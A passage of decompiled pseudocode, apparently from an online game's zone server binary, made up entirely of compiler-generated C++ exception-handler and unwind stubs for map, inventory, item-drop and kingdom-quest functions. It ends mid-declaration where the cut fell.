(00591080) -------------------------------------------------------- void __usercall _L151935(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591088) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mc_DeleteInstanceDungeon_MapCluster_MapClusterManager__QAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005910A0) -------------------------------------------------------- void __usercall _L151650(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (005910A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_KickPlayer__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005910C0) -------------------------------------------------------- void __usercall _L151697(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005910C8) -------------------------------------------------------- void __usercall _L151698_0(int a1) { KickPlayer::_KickPlayer((KickPlayer *)(a1 - 20)); } //----- (005910D0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_KickAll_FieldMap__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005910E0) -------------------------------------------------------- void __usercall _L151733(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005910E8) -------------------------------------------------------- void __usercall _L151734(int a1) { IsAnybody::_IsAnybody((IsAnybody *)(a1 - 24)); } //----- (005910F0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_Exist_FieldMap__QAE_NK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591100) -------------------------------------------------------- void __usercall _L151884(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00591108) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cm_DeleteInstanceDungeon_ClusterManager_MapClusterManager__QAEXW4CATEGORY_INSTANCE_DUNGEON__K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591120) -------------------------------------------------------- void __usercall _L151974(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00591128) -------------------------------------------------------- void __usercall _L151975(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 32)); } //----- (00591130) -------------------------------------------------------- void __usercall _L151976(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 24)); } //----- (00591138) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mc_Routine_MapCluster_MapClusterManager__QAEEPAV__List_VMapCluster_MapClusterManager____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591150) -------------------------------------------------------- void __usercall _L152170(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00591158) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VMapCluster_MapClusterManager____QAEPAVMapCluster_MapClusterManager__P823_AEHPAV1_GPAV23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591170) -------------------------------------------------------- void __usercall _L152288(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36908)); } //----- (0059117B) -------------------------------------------------------- void __usercall _L152289(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(a1 - 36904)); } //----- (00591186) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591190) -------------------------------------------------------- void __usercall _L152376(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 312)); } //----- (0059119B) -------------------------------------------------------- void __usercall _L152377(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 316)); } //----- (005911A6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__zls_NC_INSTANCE_DUNGEON_FIND_RNG_ZoneListenSession__QAEXPATNETCOMMAND___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005911B0) -------------------------------------------------------- void __usercall _L163391(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005911B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__icr_Apply_InvenCellReleaser_LinkInfo_InventoryLocking__UAEXPAVShineObject_ShineObjectClass__PAULockedCell_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005911D0) -------------------------------------------------------- void __usercall _L161523(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 320)); } //----- (005911DB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__icr_Apply_InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng_InventoryLocking__UAEXPAVShineObject_ShineObjectClass__PAULockedCell_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005911F0) -------------------------------------------------------- void __usercall _L162474(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (005911F8) -------------------------------------------------------- void __usercall _L162475(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00591200) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__la_Store_LotAnalyser_ItemLotAnalyser__QAEXPATITEM_INVEN__PAVItemInventoryCell__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591210) -------------------------------------------------------- void __usercall _L162565(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059121B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__icr_Apply_InvenCellReleaser_CellClear_InventoryLocking__UAEXPAVShineObject_ShineObjectClass__PAULockedCell_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591230) -------------------------------------------------------- void __usercall _L162624(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 192)); } //----- (0059123B) -------------------------------------------------------- void __usercall _L162625(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 188)); } //----- (00591246) -------------------------------------------------------- void __usercall _L162626(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 188)); } //----- (00591270) -------------------------------------------------------- void __usercall _L162750(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00591278) -------------------------------------------------------- void __usercall _L162751(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00591280) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__icr_Apply_InvenCellReleaser_FurnitureCellClear_InventoryLocking__UAEXPAVShineObject_ShineObjectClass__PAULockedCell_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591290) -------------------------------------------------------- void __usercall _L163213(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00591298) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__icl_Free_InventoryCellLockList_InventoryLocking__UAEXHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005912B0) -------------------------------------------------------- void __usercall _L163502(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005912B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_ULotChanger_ItemLotAnalyser____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005912D0) -------------------------------------------------------- void __usercall _L163547(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 188)); } //----- (005912DB) -------------------------------------------------------- void __usercall _L163557(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 208)); } //----- (005912E6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__icl_Apply_N_Free_InventoryCellLockList_InventoryLocking__UAEEPAVShineObject_ShineObjectClass__GE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005912F0) -------------------------------------------------------- void __usercall _L163722(int a1) { InventoryLocking::InventoryCellLock::_InventoryCellLock(*(InventoryLocking::InventoryCellLock **)(a1 - 16)); } //----- (005912F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0InventoryCellLockList_InventoryLocking__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591310) -------------------------------------------------------- void __usercall _L159176(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591318) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smfm_ItemBreakWarn0_ServerMenuFuncter__QAEXPAVShinePlayer_ShineObjectClass__PATServerMenuArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591330) -------------------------------------------------------- void __usercall _L159256(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00591338) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ib_Break_ItemBreaker__QAEEPAVShinePlayer_ShineObjectClass__PAVItemInventoryCell__TITEM_INVEN__PAG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591350) -------------------------------------------------------- void __usercall _L153411(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059135B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__dilig_Drop_DropItemListInGroup_ItemDropFromMob__QAEXPAVShineObject_ShineObjectClass__PAVShineMob_4_EKK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591370) -------------------------------------------------------- void __usercall _L153586(int a1) { OptionReader::_OptionReader(*(OptionReader **)(a1 - 16)); } //----- (00591378) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1DropIndexCluster_ItemDropFromMob__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005913B0) -------------------------------------------------------- void __usercall _L153748(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (005913D0) -------------------------------------------------------- void __usercall _L153872(int a1) { operator delete__(*(void **)(a1 - 67980)); } //----- (005913DE) -------------------------------------------------------- void __usercall _L153874(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005913E9) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__dic_Load_DropIndexCluster_ItemDropFromMob__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591400) -------------------------------------------------------- void __usercall _L153991(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00591408) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__dilfs_Drop_DropItemListForSpecies_ItemDropFromMob__AAEXPAUDropTable_DropItemStruct__PATORToken__PAVShineObject_ShineObjectClass__PAVShineMob_7_EKPAURateRecalc__K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591420) -------------------------------------------------------- void __usercall _L154062(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00591428) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__dilfs_ItemDrop_DropItemListForSpecies_ItemDropFromMob__QAEXPATORToken__PAVShineObject_ShineObjectClass__PAVShineMob_5_EKK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591440) -------------------------------------------------------- void __usercall _L154114_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (0059144B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__dic_ItemDrop_DropIndexCluster_ItemDropFromMob__QAEXPAVShineObject_ShineObjectClass__PBUMobDataBoxIndex_MobDataBox__PAVMobBreeder_MobRegenClass__PAVShineMob_4_EKK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591460) -------------------------------------------------------- void __usercall _L104100(int a1) { BTree::_BTree(*(BTree **)(a1 - 16)); } //----- (00591468) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ItemGroupClassifier__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591480) -------------------------------------------------------- void __usercall _L104340(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591488) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__igc_ChargedDuringUse_ItemGroupClassifier__QAEEPAVItemAttributeClass__PAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005914A0) -------------------------------------------------------- void __usercall _L147937(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (005914A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_CalcTotalLot_ShinePlayer_ShineObjectClass__QAEHPAVItemBag__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005914C0) -------------------------------------------------------- void __usercall _L148074(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005914C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ili_History_ItemLotInspector__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005914E0) -------------------------------------------------------- void __usercall _L148381(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005914E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ili_Check_ItemLotInspector__QAEEPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591500) -------------------------------------------------------- void __usercall _L159600(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591508) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_FillChargedInven_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_ITEMDB_CHARGED_LIST_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591520) -------------------------------------------------------- void __usercall _L159310(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (0059152B) -------------------------------------------------------- void __usercall _L159312(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 280)); } //----- (00591536) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_CHARGED_WITHDRAW_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591540) -------------------------------------------------------- void __usercall _L159640_0(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 116)); } //----- (00591548) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__im_Load_ItemMall__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591560) -------------------------------------------------------- void __usercall _L73609(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0059156B) -------------------------------------------------------- void __usercall _L73611(int a1) { operator delete__(*(void **)(a1 - 67852)); } //----- (00591579) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__rot_Load_RandomOptionTable_ItemRandomOption__QAEXPATName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591590) -------------------------------------------------------- void __usercall _L73736(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00591598) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__rot_FillOption_RandomOptionTable_ItemRandomOption__QAEXPAUItemOptionStorage__PBURandomOptionDatum_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005915B0) -------------------------------------------------------- void __usercall _L119662(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005915B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_ITEMTOTALINFORM_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005915D0) -------------------------------------------------------- void __usercall _L166356(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005915D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_KQElementFunction_ShinePlayer_ShineObjectClass__IAEHP8KQPlayerInform_KingdomQuest__AEHK_Z_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005915F0) -------------------------------------------------------- void __usercall _L164030(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005915F8) -------------------------------------------------------- void __usercall _L164031(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 32)); } //----- (00591600) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqc_MapUseCheck_KingdomQuestContainer_KingdomQuest__QAEEPATName3___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591610) -------------------------------------------------------- void __usercall _L164118(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 16)); } //----- (00591618) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AxialListObjectClear__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591630) -------------------------------------------------------- void __usercall _L164172(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00591638) -------------------------------------------------------- void __usercall _L164173(int a1) { AxialListObjectClear::_AxialListObjectClear((AxialListObjectClear *)(a1 - 20)); } //----- (00591640) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__fm_ClearObject_FieldMap__QAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591650) -------------------------------------------------------- void __usercall _L164864(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00591658) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_KQ_W2Z_START_CMD_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591670) -------------------------------------------------------- void __usercall _L165171(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (0059167B) -------------------------------------------------------- void __usercall _L165172(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 156)); } //----- (00591686) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_KQItemDrop_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591690) -------------------------------------------------------- void __usercall _L165345(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00591698) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UKQElement_KingdomQuest____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005916B0) -------------------------------------------------------- void __usercall _L165440(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005916B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UKQPlayerInform_KingdomQuest____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005916D0) -------------------------------------------------------- void __usercall _L165467(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (005916D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_UKQPlayerInform_KingdomQuest____QAEPAUKQPlayerInform_KingdomQuest__P823_AEHPAV1_GPAU23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005916F0) -------------------------------------------------------- void __usercall _L166504(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (005916F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0KingdomQuestContainer_KingdomQuest__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591710) -------------------------------------------------------- void __usercall _L165574_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 748)); } //----- (0059171B) -------------------------------------------------------- void __usercall _L165575_0(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 712), 0x24u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00591731) -------------------------------------------------------- void __usercall _L165577_0(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (0059173C) -------------------------------------------------------- void __usercall _L165578_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 744)); } //----- (00591747) -------------------------------------------------------- void __usercall _L166142(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 756)); } //----- (00591752) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_KQ_W2Z_MAKE_REQ_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591760) -------------------------------------------------------- void __usercall _L166305(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00591768) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_GetBattleStat_ShinePlayer_ShineObjectClass__UAEPAUBattleStat__XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591780) -------------------------------------------------------- void __usercall _L166391(int a1) { List::_List(*(KingdomQuest::KQPlayerInfoList **)(a1 - 16)); } //----- (00591788) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__CommonList_UKQPlayerInform_KingdomQuest____QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005917A0) -------------------------------------------------------- void __usercall _L160902(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005917A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqcl_GetMobKill_KQContributeList_KQContribute__QAEHKPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005917C0) -------------------------------------------------------- void __usercall _L162449(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (005917C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UPlayerContribute_KQContribute__V__allocator_UPlayerContribute_KQContribute___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005917E0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UPlayerContribute_KQContribute__V__allocator_UPlayerContribute_KQContribute___std___std__IAEXViterator_12_IABUPlayerContribute_KQContribute___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005917F0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_UPlayerContribute_KQContribute__V__allocator_UPlayerContribute_KQContribute___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00591811) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl 